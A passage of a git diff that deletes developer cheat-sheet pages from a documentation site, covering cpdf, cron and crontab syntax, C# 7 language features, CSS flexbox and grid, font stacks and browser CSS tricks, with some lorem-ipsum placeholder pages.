-cpdf -blacktext in.pdf -o out.pdf
-
-# Make sure all lines in in.pdf are at least 2 pts wide, writing to
-
-# out.pdf.
-
-cpdf -thinlines 2pt in.pdf -o out.pdf
diff --git a/docs/content/cheat-sheets/cron.md b/docs/content/cheat-sheets/cron.md
deleted file mode 100644
index a7be6759ed..0000000000
--- a/docs/content/cheat-sheets/cron.md
+++ /dev/null
@@ -1,90 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Cron
-category: CLI
-
-weight: -3
-
----
-
-## Format
-
-{: .-two-column}
-
-### Format
-
-```
-Min  Hour Day  Mon  Weekday
-```
-
-{: .-setup}
-
-```
-*    *    *    *    *  command to be executed
-```
-
-```
-┬    ┬    ┬    ┬    ┬
-│    │    │    │    └─  Weekday  (0=Sun .. 6=Sat)
-│    │    │    └──────  Month    (1..12)
-│    │    └───────────  Day      (1..31)
-│    └────────────────  Hour     (0..23)
-└─────────────────────  Minute   (0..59)
-```
-
-{: .-setup.-box-chars}
-
-### Operators
-
-| Operator | Description                |
-| -------- | -------------------------- |
-| `*`      | all values                 |
-| `,`      | separate individual values |
-| `-`      | a range of values          |
-| `/`      | divide a value into steps  |
-
-### Examples
-
-| Example        | Description                 |
-| -------------- | --------------------------- |
-| `0 * * * *`    | every hour                  |
-| `*/15 * * * *` | every 15 mins               |
-| `0 */2 * * *`  | every 2 hours               |
-| `0 18 * * 0-6` | every week Mon-Sat at 6pm   |
-| `10 2 * * 6,7` | every Sat and Thu on 2:10am |
-| `0 0 * * 0`    | every Sunday midnight       |
-| ---            | ---                         |
-| `@reboot`      | every reboot                |
-
-### Crontab
-
-```bash
-# Adding tasks easily
-echo "@reboot echo hi" | crontab
-```
-
-```bash
-# Open in editor
-crontab -e
-```
-
-```bash
-# List tasks
-crontab -l [-u user]
-```
diff --git a/docs/content/cheat-sheets/crontab.md b/docs/content/cheat-sheets/crontab.md
deleted file mode 100644
index d25983d837..0000000000
--- a/docs/content/cheat-sheets/crontab.md
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: [job, scheduler, periodic]
-
-# set a shell
-
-SHELL=/bin/bash
-
-# set a PATH
-
-PATH=/usr/bin:/usr/sbin:/usr/local/bin
-
-# incorrect way of seeting PATH
-
-PATH=$PATH:/do/not/do/this
-
-# crontab format
-
--   -   -   -   -   command_to_execute
-
----
-
-| | | | |
-| | | | +- day of week (0 - 7) (where sunday is 0 and 7)
-| | | +--- month (1 - 12)
-| | +----- day (1 - 31)
-| +------- hour (0 - 23)
-+--------- minute (0 - 59)
-
-# example entries
-
-# every 15 min
-
-_/15 _ \* \* \* /home/user/command.sh
-
-# every midnight
-
-0 0 \* \* \* /home/user/command.sh
-
-# every Saturday at 8:05 AM
-
-5 8 \* \* 6 /home/user/command.sh
-
-# compute your crontab periodicity format online
-
-https://crontab.guru/
-
-# be careful with % sign (percent), it has special meaning, see https://crontab.guru/ for explanation
-
-% signs must be escaped such as \%
diff --git a/docs/content/cheat-sheets/csharp7.md b/docs/content/cheat-sheets/csharp7.md
deleted file mode 100644
index f70a67ff5a..0000000000
--- a/docs/content/cheat-sheets/csharp7.md
+++ /dev/null
@@ -1,215 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: C# 7
-category: C-like
-
-prism_languages: [csharp]
-description: |
-A quick overview of C# 7
-
----
-
-### Out Variables
-
-```csharp
-public void PrintCoordinates(Point p)
-{
-    p.GetCoordinates(out int x, out int y);
-    WriteLine($"({x}, {y})");
-}
-```
-
-`out` is used to declare a variable at the point where it is passed as an argument.
-
-### Pattern Matching
-
-#### Is-expressions with patterns
-
-```csharp
-public void PrintStars(object o)
-{
-    if (o is null) return;     // constant pattern "null"
-    if (!(o is int i)) return; // type pattern "int i"
-    WriteLine(new string('*', i));
-}
-```
-
-#### Switch statements with patterns
-
-```csharp
-switch(shape)
-{
-    case Circle c:
-        WriteLine($"circle with radius {c.Radius}");
-        break;
-    case Rectangle s when (s.Length == s.Height):
-        WriteLine($"{s.Length} x {s.Height} square");
-        break;
-    case Rectangle r:
-        WriteLine($"{r.Length} x {r.Height} rectangle");
-        break;
-    default:
-        WriteLine("<unknown shape>");
-        break;
-    case null:
-        throw new ArgumentNullException(nameof(shape));
-}
-```
-
-### Tuples
-
-#### Tuple type
-
-```csharp
-(string, string, string) LookupName(long id) // tuple return type
-{
-    ... // retrieve first, middle and last from data storage
-    return (first, middle, last); // tuple literal
-}
-```
-
-```csharp
-var names = LookupName(id);
-WriteLine($"found {names.Item1} {names.Item3}.");
-```
-
-#### Tuple elements with name
-
-```csharp
-(string first, string middle, string last) LookupName(long id) // tuple elements have names
-```
-
-```csharp
-var names = LookupName(id);
-WriteLine($"found {names.first} {names.last}.");
-```
-
-#### Tuple Literals
-
-```csharp
-   return (first: first, middle: middle, last: last); // named tuple elements in a literal
-```
-
-#### Tuple Deconstruction
-
-```csharp
-(var first, var middle, var last) = LookupName(id1);
-WriteLine($"found {first} {last}.");
-```
-
-or
-
-```csharp
-var (first, middle, last) = LookupName(id1); // var outside
-```
-
-or
-
-```csharp
-(first, middle, last) = LookupName(id2); // assign onto existing variables
-```
-
-### Local Functions
-
-```csharp
-public int Fibonacci(int x)
-{
-    if (x < 0) throw new ArgumentException("Less negativity please!", nameof(x));
-    return Fib(x).current;
-
-    (int current, int previous) Fib(int i)
-    {
-        if (i == 0) return (1, 0);
-        var (p, pp) = Fib(i - 1);
-        return (p + pp, p);
-    }
-}
-```
-
-### Literal Improvements
-
-#### Digit Separator inside numbers literals
-
-```csharp
-var d = 123_456;
-var x = 0xAB_CD_EF;
-```
-
-#### Binary Literals
-
-```csharp
-var b = 0b1010_1011_1100_1101_1110_1111;
-```
-
-### Ref Returns and Locals
-
-```csharp
-public ref int Find(int number, int[] numbers)
-{
-    for (int i = 0; i < numbers.Length; i++)
-    {
-        if (numbers[i] == number)
-        {
-            return ref numbers[i]; // return the storage location, not the value
-        }
-    }
-    throw new IndexOutOfRangeException($"{nameof(number)} not found");
-}
-
-int[] array = { 1, 15, -39, 0, 7, 14, -12 };
-ref int place = ref Find(7, array); // aliases 7's place in the array
-place = 9; // replaces 7 with 9 in the array
-WriteLine(array[4]); // prints 9
-```
-
-### More Expression Bodied Members
-
-C# 7.0 adds accessors, constructors and finalizers to the list of things that can have expression bodies:
-
-```csharp
-class Person
-{
-    private static ConcurrentDictionary<int, string> names = new ConcurrentDictionary<int, string>();
-    private int id = GetId();
-
-    public Person(string name) => names.TryAdd(id, name); // constructors
-    ~Person() => names.TryRemove(id, out *);              // destructors
-    public string Name
-    {
-        get => names[id];                                 // getters
-        set => names[id] = value;                         // setters
-    }
-}
-```
-
-### Throw Expressions
-
-```csharp
-class Person
-{
-    public string Name { get; }
-    public Person(string name) => Name = name ?? throw new ArgumentNullException(name);
-    public string GetFirstName()
-    {
-        var parts = Name.Split(" ");
-        return (parts.Length > 0) ? parts[0] : throw new InvalidOperationException("No name!");
-    }
-    public string GetLastName() => throw new NotImplementedException();
-}
-```
diff --git a/docs/content/cheat-sheets/css-animations.md b/docs/content/cheat-sheets/css-animations.md
deleted file mode 100644
index 5784e1e0ef..0000000000
--- a/docs/content/cheat-sheets/css-animations.md
+++ /dev/null
@@ -1 +0,0 @@
-# CSS animations
diff --git a/docs/content/cheat-sheets/css-antialias.md b/docs/content/cheat-sheets/css-antialias.md
deleted file mode 100644
index 04b0941c25..0000000000
--- a/docs/content/cheat-sheets/css-antialias.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: CSS antialiasing
-category: CSS
-
-intro: |
-Here's a 4-line snippet on how to get beautiful, antialiased text with CSS.
-
----
-
-### Antialias
-
-```css
-* {
-    -webkit-font-smoothing: antialiased;
-    -moz-osx-font-smoothing: grayscale;
-}
-```
-
-### Support
-
--   Firefox 25+ on OSX
--   Webkits (Chrome, Safari, etc)
-
-## References
-
-{: .-one-column}
-
--   [maxvoltar.com](http://maxvoltar.com/archive/-webkit-font-smoothing)
--   [maximilianhoffman.com](http://maximilianhoffmann.com/posts/better-font-rendering-on-osx)
--   [ilikekillnerds.com](http://ilikekillnerds.com/2010/12/a-solution-to-stop-font-face-fonts-looking-bold-on-mac-browsers/)
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/css-background.md b/docs/content/cheat-sheets/css-background.md
deleted file mode 100644
index 778570ace5..0000000000
--- a/docs/content/cheat-sheets/css-background.md
+++ /dev/null
@@ -1 +0,0 @@
-# CSS background
diff --git a/docs/content/cheat-sheets/css-flex-box.md b/docs/content/cheat-sheets/css-flex-box.md
deleted file mode 100644
index daebe7c111..0000000000
--- a/docs/content/cheat-sheets/css-flex-box.md
+++ /dev/null
@@ -1,201 +0,0 @@
-# CSS Flex Box
-
-#### Simple example
-
-```css
-.container {
-    display: flex;
-}
-```
-
-```css
-.container > div {
-    flex: 1 1 auto;
-}
-```
-
-#### Container
-
-```css
-.container {
-```
-
-{: .-setup}
-
-```css
-display: flex;
-display: inline-flex;
-```
-
-```css
-flex-direction: row; /* ltr - default */
-flex-direction: row-reverse; /* rtl */
-flex-direction: column; /* top-bottom */
-flex-direction: column-reverse; /* bottom-top */
-```
-
-```css
-flex-wrap: nowrap; /* one-line */
-flex-wrap: wrap; /* multi-line */
-```
-
-```css
-align-items: flex-start; /* vertical-align to top */
-align-items: flex-end; /* vertical-align to bottom */
-align-items: center; /* vertical-align to center */
-align-items: stretch; /* same height on all (default) */
-```
-
-```css
-justify-content: flex-start; /* [xxx        ] */
-justify-content: center; /* [    xxx    ] */
-justify-content: flex-end; /* [        xxx] */
-justify-content: space-between; /* [x    x    x] */
-justify-content: space-around; /* [ x   x   x ] */
-justify-content: space-evenly; /* [  x  x  x  ] */
-```
-
-```css
-}
-```
-
-{: .-setup}
-
-#### Child
-
-```css
-.container > div {
-```
-
-{: .-setup}
-
-```css
-/* This: */
-flex: 1 0 auto;
-
-/* Is equivalent to this: */
-flex-grow: 1;
-flex-shrink: 0;
-flex-basis: auto;
-```
-
-```css
-order: 1;
-```
-
-```css
-align-self: flex-start; /* left */
-margin-left: auto; /* right */
-```
-
-```css
-}
-```
-
-{: .-setup}
-
-### Tricks
-
-#### Vertical center
-
-```css
-.container {
-    display: flex;
-}
-
-.container > div {
-    width: 100px;
-    height: 100px;
-    margin: auto;
-}
-```
-
-#### Vertical center (2)
-
-```css
-.container {
-    display: flex;
-    align-items: center; /* vertical */
-    justify-content: center; /* horizontal */
-}
-```
-
-#### Reordering
-
-```css
-.container > .top {
-    order: 1;
-}
-
-.container > .bottom {
-    order: 2;
-}
-```
-
-#### Mobile layout
-
-```css
-.container {
-    display: flex;
-    flex-direction: column;
-}
-
-.container > .top {
-    flex: 0 0 100px;
-}
-
-.container > .content {
-    flex: 1 0 auto;
-}
-```
-
-A fixed-height top bar and a dynamic-height content area.
-
-#### Table-like
-
-```css
-.container {
-    display: flex;
-}
-
-/* the 'px' values here are just suggested percentages */
-.container > .checkbox {
-    flex: 1 0 20px;
-}
-.container > .subject {
-    flex: 1 0 400px;
-}
-.container > .date {
-    flex: 1 0 120px;
-}
-```
-
-This creates columns that have different widths, but size accordingly according to the circumstances.
-
-#### Vertical
-
-```css
-.container {
-    align-items: center;
-}
-```
-
-Vertically-center all items.
-
-#### Left and right
-
-```css
-.menu > .left {
-    align-self: flex-start;
-}
-.menu > .right {
-    align-self: flex-end;
-}
-```
-
-### References
-
-{: .-one-column}
-
--   [MDN: Using CSS flexbox](https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Flexible_boxes)
--   [Ultimate flexbox cheatsheet](http://www.sketchingwithcss.com/samplechapter/cheatsheet.html)
diff --git a/docs/content/cheat-sheets/css-flexbox.md b/docs/content/cheat-sheets/css-flexbox.md
deleted file mode 100644
index 82850497a4..0000000000
--- a/docs/content/cheat-sheets/css-flexbox.md
+++ /dev/null
@@ -1,226 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: CSS flexbox
-category: CSS
-
-prism_languages: [css]
-weight: -3
-
----
-
-### Simple example
-
-```css
-.container {
-    display: flex;
-}
-```
-
-```css
-.container > div {
-    flex: 1 1 auto;
-}
-```
-
-### Container
-
-```css
-.container {
-```
-
-{: .-setup}
-
-```css
-display: flex;
-display: inline-flex;
-```
-
-```css
-flex-direction: row; /* ltr - default */
-flex-direction: row-reverse; /* rtl */
-flex-direction: column; /* top-bottom */
-flex-direction: column-reverse; /* bottom-top */
-```
-
-```css
-flex-wrap: nowrap; /* one-line */
-flex-wrap: wrap; /* multi-line */
-```
-
-```css
-align-items: flex-start; /* vertical-align to top */
-align-items: flex-end; /* vertical-align to bottom */
-align-items: center; /* vertical-align to center */
-align-items: stretch; /* same height on all (default) */
-```
-
-```css
-justify-content: flex-start; /* [xxx        ] */
-justify-content: center; /* [    xxx    ] */
-justify-content: flex-end; /* [        xxx] */
-justify-content: space-between; /* [x    x    x] */
-justify-content: space-around; /* [ x   x   x ] */
-justify-content: space-evenly; /* [  x  x  x  ] */
-```
-
-```css
-}
-```
-
-{: .-setup}
-
-### Child
-
-```css
-.container > div {
-```
-
-{: .-setup}
-
-```css
-/* This: */
-flex: 1 0 auto;
-
-/* Is equivalent to this: */
-flex-grow: 1;
-flex-shrink: 0;
-flex-basis: auto;
-```
-
-```css
-order: 1;
-```
-
-```css
-align-self: flex-start; /* left */
-margin-left: auto; /* right */
-```
-
-```css
-}
-```
-
-{: .-setup}
-
-## Tricks
-
-### Vertical center
-
-```css
-.container {
-    display: flex;
-}
-
-.container > div {
-    width: 100px;
-    height: 100px;
-    margin: auto;
-}
-```
-
-### Vertical center (2)
-
-```css
-.container {
-    display: flex;
-    align-items: center; /* vertical */
-    justify-content: center; /* horizontal */
-}
-```
-
-### Reordering
-
-```css
-.container > .top {
-    order: 1;
-}
-
-.container > .bottom {
-    order: 2;
-}
-```
-
-### Mobile layout
-
-```css
-.container {
-    display: flex;
-    flex-direction: column;
-}
-
-.container > .top {
-    flex: 0 0 100px;
-}
-
-.container > .content {
-    flex: 1 0 auto;
-}
-```
-
-A fixed-height top bar and a dynamic-height content area.
-
-### Table-like
-
-```css
-.container {
-    display: flex;
-}
-
-/* the 'px' values here are just suggested percentages */
-.container > .checkbox {
-    flex: 1 0 20px;
-}
-.container > .subject {
-    flex: 1 0 400px;
-}
-.container > .date {
-    flex: 1 0 120px;
-}
-```
-
-This creates columns that have different widths, but size accordingly according
-to the circumstances.
-
-### Vertical
-
-```css
-.container {
-    align-items: center;
-}
-```
-
-Vertically-center all items.
-
-### Left and right
-
-```css
-.menu > .left {
-    align-self: flex-start;
-}
-.menu > .right {
-    align-self: flex-end;
-}
-```
-
-## References
-
-{: .-one-column}
-
--   [MDN: Using CSS flexbox](https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Flexible_boxes)
--   [Ultimate flexbox cheatsheet](http://www.sketchingwithcss.com/samplechapter/cheatsheet.html)
diff --git a/docs/content/cheat-sheets/css-grid.md b/docs/content/cheat-sheets/css-grid.md
deleted file mode 100644
index c9ff3d70ff..0000000000
--- a/docs/content/cheat-sheets/css-grid.md
+++ /dev/null
@@ -1,252 +0,0 @@
-# CSS Grid
-
-#### Container
-
-```css
-.grid-container {
-```
-
-{: .-setup}
-
-```css
-/* Display properties */
-display: grid;
-display: inline-grid;
-display: subgrid;
-```
-
-```css
-/* Columns and rows */
-grid-template-columns: 1rem 2rem 1rem; /* Measurement units */
-grid-template-columns: 25% 50% 25%; /* Percentage units */
-grid-template-columns: 1rem auto 1rem 2fr; /* Fill remaining widths with auto or fr units */
-grid-template-columns: repeat(12, 1fr); /* Repeat columns without needing to write them */
-
-grid-template-rows: 1rem 10% auto repeat(5, 10px); /* Mix any group, same rules work for rows */
-```
-
-```css
-/* Automatic columns and rows */
-
-grid-auto-columns: 10px; /* No matter how many columns of content end up in the grid, each column will be this same width */
-grid-auto-rows: 1rem; /* No matter how many rows of content end up in the grid, each row will be this same height */
-```
-
-```css
-/* Areas */
-grid-template-areas:
-    'header header'
-    'main aside'
-    'footer footer'; /* Grid-style */
-
-grid-template-areas: 'header header' 'main aside' 'footer footer'; /* Inline-style */
-```
-
-```css
-/* Template shorthand */
-grid-template:
-    'header header' auto
-    'main aside' 100vh
-    'footer footer' 10rem
-    / 80% 20%;
-
-/* The above is the same as below long-hand */
-grid-template-columns: 80% 20%;
-grid-template-rows: auto 100vh 10rem;
-grid-template-areas:
-    'header header'
-    'main aside'
-    'footer footer';
-```
-
-```css
-/* Gaps */
-grid-row-gap: 1rem;
-grid-column-gap: 0.5rem; /* Define values separately */
-
-grid-gap: 1rem 0.5rem; /* Short-hand for row / column */
-grid-gap: 1rem; /* Gap in both dimensions */
-```
-
-```css
-/* Item justification (horizontal or column alignment) */
-justify-items: start; /* Align items to the left */
-justify-items: center; /* Align items centered within its column */
-justify-items: end; /* Align items to the right */
-justify-items: stretch; /* (default) Fills available area (horizontally) */
-```
-
-```css
-/* Item alignment (vertical or row alignment) */
-align-items: start; /* Align items to the top */
-align-items: center; /* Align items centered within its row */
-align-items: end; /* Align items to the bottom */
-align-items: stretch; /* (default) Fills available area (vertically) */
-```
-
-```css
-/* Place item shorthand */
-place-items: start stretch;
-
-/* The above is the same as below long-hand */
-align-items: start;
-justify-items: stretch;
-```
-
-```css
-/* Content justification (horizontal or column alignment) */
-justify-content: start; /* Align content to the left */
-justify-content: center; /* Align content centered horizontally within the grid */
-justify-content: end; /* Align content to the right */
-justify-content: stretch; /* (default) Fills available area (horizontally) */
-
-justify-content: space-around; /* Chooses a space for both sides of the columns like a left and right margin */
-justify-content: space-between; /* Chooses a space to go between columns, no margins on outside of content */
-justify-content: space-evenly; /* Chooses a space that goes between all columns and edges consistently */
-```
-
-```css
-/* Content alignment (horizontal or column alignment) */
-align-content: start; /* Align content to the top */
-align-content: center; /* Align content centered vertically within the grid */
-align-content: end; /* Align content to the bottom */
-align-content: stretch; /* (default) Fills available area (vertically) */
-
-align-content: space-around; /* Chooses a space for the top and bottom of the rows like a top and bottom margin */
-align-content: space-between; /* Chooses a space to go between rows, no margins on outside of content */
-align-content: space-evenly; /* Chooses a space that goes between all rows and edges consistently */
-```
-
-```css
-/* Place item shorthand */
-place-content: center start;
-
-/* The above is the same as below long-hand */
-align-content: center;
-justify-content: start;
-```
-
-```css
-/* Automatic grid positioning */
-
-grid-auto-flow: row; /* Left-to-right rows, then top-to-bottom*/
-grid-auto-flow: column; /* Top-to-bottom columns, then left-to-right */
-grid-auto-flow: dense; /* Responds with best-guess on left-to-right, top-to-bottom order with advanced layouts */
-```
-
-```css
-/* There is one final shorthand for all container properties in one */
-
-/* Explicit grid columns, rows, and areas */
-grid:
-    'header header' auto
-    'main aside' 100vh
-    'footer footer' 10rem
-    / 80% 20%; /* You can include a template as the only value, which is equivalent to below */
-grid-template:
-    'header header' auto
-    'main aside' 100vh
-    'footer footer' 10rem
-    / 80% 20%; /* Which is again equivalent to below */
-grid-template-columns: 80% 20%;
-grid-template-rows: auto 100vh 10rem;
-grid-template-areas:
-    'header header'
-    'main aside'
-    'footer footer';
-
-/* Automatic grid flows */
-grid: 1rem / auto-flow dense 1fr; /* You can include rows, a flow, and automatic columns, which is equivalent to below */
-grid-template-rows: 1rem;
-grid-auto-flow: dense;
-grid-auto-columns: 1fr;
-
-grid: auto-flow dense 1rem / repeat(10, 10%); /* Conversely, you can do the same thing with automatic rows, and defined columns */
-grid-auto-flow: dense;
-grid-auto-rows: 1rem;
-grid-template-columns: repeat(10, 10%);
-```
-
-```css
-}
-```
-
-{: .-setup}
-
-#### Child
-
-```css
-.grid-child {
-```
-
-{: .-setup}
-
-```css
-/* Column position */
-grid-column-start: 1;
-grid-column-end: 2;
-
-grid-column: 1 / 2; /* Short hand */
-grid-column: 1 / span 2; /* Span 2 columns without explicitly defining an endpoint */
-grid-column: 1; /* Start in and occupy a single column */
-```
-
-```css
-/* Row position */
-grid-row-start: 2;
-grid-row-end: 4;
-
-grid-row: 2 / 4; /* Short hand */
-grid-row: 2 / span 3; /* Span 3 rows without explicitly defining an endpoint */
-grid-row: 1; /* Start in and occupy a single row */
-```
-
-```css
-/* Area positioning */
-grid-area: header; /* You can use a named grid area from the container */
-
-grid-area: 2 / 1 / 4 / 2; /* Or you can use positioning. This is equivalent to... */
-grid-row-start: 2;
-grid-column-start: 1;
-grid-row-end: 4;
-grid-column-end: 2;
-```
-
-```css
-/* Self justification (horizontal or column alignment) */
-justify-self: start; /* Align item to the left */
-justify-self: center; /* Align item centered within its column */
-justify-self: end; /* Align item to the right */
-justify-self: stretch; /* (default) Fills available area (horizontally) */
-```
-
-```css
-/* Self alignment (vertical or row alignment) */
-align-self: start; /* Align item to the top */
-align-self: center; /* Align item centered within its row */
-align-self: end; /* Align item to the bottom */
-align-self: stretch; /* (default) Fills available area (vertically) */
-```
-
-```css
-/* Placement shorthand */
-place-self: start stretch;
-
-/* The above is the same as below long-hand */
-align-self: start;
-justify-self: stretch;
-```
-
-```css
-}
-```
-
-{: .-setup}
-
-### References
-
-{: .-one-column}
-
--   [GRID: A simple visual cheatsheet](http://grid.malven.co)
--   [CSS Tricks: A Complete Guide to Grid](https://css-tricks.com/snippets/css/complete-guide-grid/)
--   [Browser support](https://caniuse.com/#feat=css-grid)
diff --git a/docs/content/cheat-sheets/css-next.md b/docs/content/cheat-sheets/css-next.md
deleted file mode 100644
index accb8f0c8e..0000000000
--- a/docs/content/cheat-sheets/css-next.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: css-next
-subtitle: lorem-ipsum
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-Etiam facilisis lacus nec pretium lobortis. Praesent dapibus justo non efficitur efficitur. Nullam viverra justo arcu, eget egestas tortor pretium id. Sed imperdiet mattis eleifend. Vivamus suscipit et neque imperdiet venenatis.
-
-> Vestibulum ullamcorper risus auctor eleifend consequat.
-
-![Placeholder Image](https://assets.stackbit.com/components/images/default/post-4.jpeg)
-
-In malesuada sed urna eget vehicula. Donec fermentum tortor sit amet nisl elementum fringilla. Pellentesque dapibus suscipit faucibus. Nullam malesuada sed urna quis rutrum. Donec facilisis lorem id maximus mattis. Vestibulum quis elit magna. Vestibulum accumsan blandit consequat. Phasellus quis posuere quam.
-
-Vivamus mollis in tellus ac ullamcorper. Vestibulum sit amet bibendum ipsum, vitae rutrum ex. Nullam cursus, urna et dapibus aliquam, urna leo euismod metus, eu luctus justo mi eget mauris. Proin felis leo, volutpat et purus in, lacinia luctus eros. Pellentesque lobortis massa scelerisque lorem ullamcorper, sit amet elementum nulla scelerisque. In volutpat efficitur nulla, aliquam ornare lectus ultricies ac. Mauris sagittis ornare dictum. Nulla vel felis ut purus fermentum pretium. Sed id lectus ac diam aliquet venenatis. Etiam ac auctor enim. Nunc velit mauris, viverra vel orci ut, egestas rhoncus diam. Morbi scelerisque nibh tellus, vel varius urna malesuada sed. Etiam ultricies sem consequat, posuere urna non, maximus ex. Mauris gravida diam sed augue condimentum pulvinar vel ac dui. Integer vel convallis justo.
diff --git a/docs/content/cheat-sheets/css-selectors-1.md b/docs/content/cheat-sheets/css-selectors-1.md
deleted file mode 100644
index ab369574d6..0000000000
--- a/docs/content/cheat-sheets/css-selectors-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# CSS selectors
diff --git a/docs/content/cheat-sheets/css-selectors.md b/docs/content/cheat-sheets/css-selectors.md
deleted file mode 100644
index 7f4a5723ad..0000000000
--- a/docs/content/cheat-sheets/css-selectors.md
+++ /dev/null
@@ -1,105 +0,0 @@
-# CSS Cheat Sheet
-
-#### Heading kerning pairs and ligature
-
-```css
-h1,
-h2,
-h3 {
-    text-rendering: optimizeLegibility;
-}
-```
-
-#### Native-like iOS scrolling
-
-```css
--webkit-overflow-scrolling: touch;
-overflow-y: auto;
-```
-
-#### Gradient text
-
-```css
-background: -webkit-gradient(linear, left top, left bottom, from(#eee), to(#333));
--webkit-background-clip: text;
--webkit-text-fill-color: transparent;
-```
-
-#### Text stroke
-
-```css
--webkit-text-stroke: 3px black;
-```
-
-See: [Introducing text stroke](http://www.webkit.org/blog/85/introducing-text-stroke/)
-
-#### iOS Scrolling prevention
-
-```css
-document.ontouchstart = (e) ->
-  $pane = $(e.target).closest('.scrollable>div')
-  if $pane.length is 0 or $pane[0].scrollHeight <= $pane.innerHeight()
-    e.preventDefault()
-```
-
-```scss
-%ios-scrollable {
-    &,
-    > div {
-        -webkit-overflow-scrolling: touch;
-        overflow: auto;
-    }
-
-    > div {
-        position: absolute;
-        top: 0;
-        left: 0;
-        right: 0;
-        bottom: 0;
-    }
-}
-```
-
-Relevant in iOS6, but maybe not anymore.
-
-#### UIWebView optimizations
-
-```css
-* {
-    -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
-    -webkit-user-select: none; /* disable text select */
-    -webkit-touch-callout: none; /* disable callout, image save panel (popup) */
-    -webkit-tap-highlight-color: transparent; /* "turn off" link highlight */
-}
-
-a:focus {
-    outline: 0; // Firefox (remove border on link click)
-}
-```
-
-See: [http://www.bitsandpix.com/entry/ios-webkit-uiwebview-remove-tapclick-highlightborder-with-css/](http://www.bitsandpix.com/entry/ios-webkit-uiwebview-remove-tapclick-highlightborder-with-css/)
-
-See: [http://www.yuiblog.com/blog/2010/10/01/quick-tip-customizing-the-mobile-safari-tap-highlight-color/](http://www.yuiblog.com/blog/2010/10/01/quick-tip-customizing-the-mobile-safari-tap-highlight-color/)
-
-### Browser hacks
-
-#### Disclaimer
-
-Not recommended, but here they are if you ever need them. Note that vendor prefixes may go away eventually.
-
-#### Mozilla-only
-
-```css
-@-moz-document url-prefix() {
-    .box {
-        color: blue;
-    }
-}
-```
-
-#### Webkit-only
-
-```css
-@media all and (-webkit-min-device-pixel-ratio: 1) {
-}
-```
diff --git a/docs/content/cheat-sheets/css-system-font-stack.md b/docs/content/cheat-sheets/css-system-font-stack.md
deleted file mode 100644
index a9e555a74d..0000000000
--- a/docs/content/cheat-sheets/css-system-font-stack.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: "CSS system fonts"
-category: CSS
-
-weight: -3
-tags: [Featurable]
-
----
-
-### System fonts
-
-```css
-font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif;
-```
-
-This uses whatever system font is available. See: [System shock - Designing Medium](https://medium.design/system-shock-6b1dc6d6596f?gi=90078e194544) _(medium.com)_
-
-### Explanation
-
-| Font                 | OS                      |
-| -------------------- | ----------------------- |
-| `-apple-system`      | OS X (10.11+), iOS (9+) |
-| `BlinkMacSystemFont` | OS X, Chrome            |
-| `Segoe UI`           | Windows                 |
-| `Roboto`             | Android 4.0+            |
-| `Oxygen`             | Linux, KDE              |
-| `Ubuntu`             | Linux, Ubuntu           |
-| `Cantarell`          | Linux, GNOME            |
-| `Fira Sans`          | Firefox OS              |
-| `Droid Sans`         | Android (until 3.2)     |
-| `Helvetica Neue`     | OS X (10.9)             |
diff --git a/docs/content/cheat-sheets/css-tricks.md b/docs/content/cheat-sheets/css-tricks.md
deleted file mode 100644
index cc9a96def4..0000000000
--- a/docs/content/cheat-sheets/css-tricks.md
+++ /dev/null
@@ -1,105 +0,0 @@
-# CSS tricks
-
-#### Heading kerning pairs and ligature
-
-```css
-h1,
-h2,
-h3 {
-    text-rendering: optimizeLegibility;
-}
-```
-
-#### Native-like iOS scrolling
-
-```css
--webkit-overflow-scrolling: touch;
-overflow-y: auto;
-```
-
-#### Gradient text
-
-```css
-background: -webkit-gradient(linear, left top, left bottom, from(#eee), to(#333));
--webkit-background-clip: text;
--webkit-text-fill-color: transparent;
-```
-
-#### Text stroke
-
-```css
--webkit-text-stroke: 3px black;
-```
-
-See: [Introducing text stroke](http://www.webkit.org/blog/85/introducing-text-stroke/)
-
-#### iOS Scrolling prevention
-
-```css
-document.ontouchstart = (e) ->
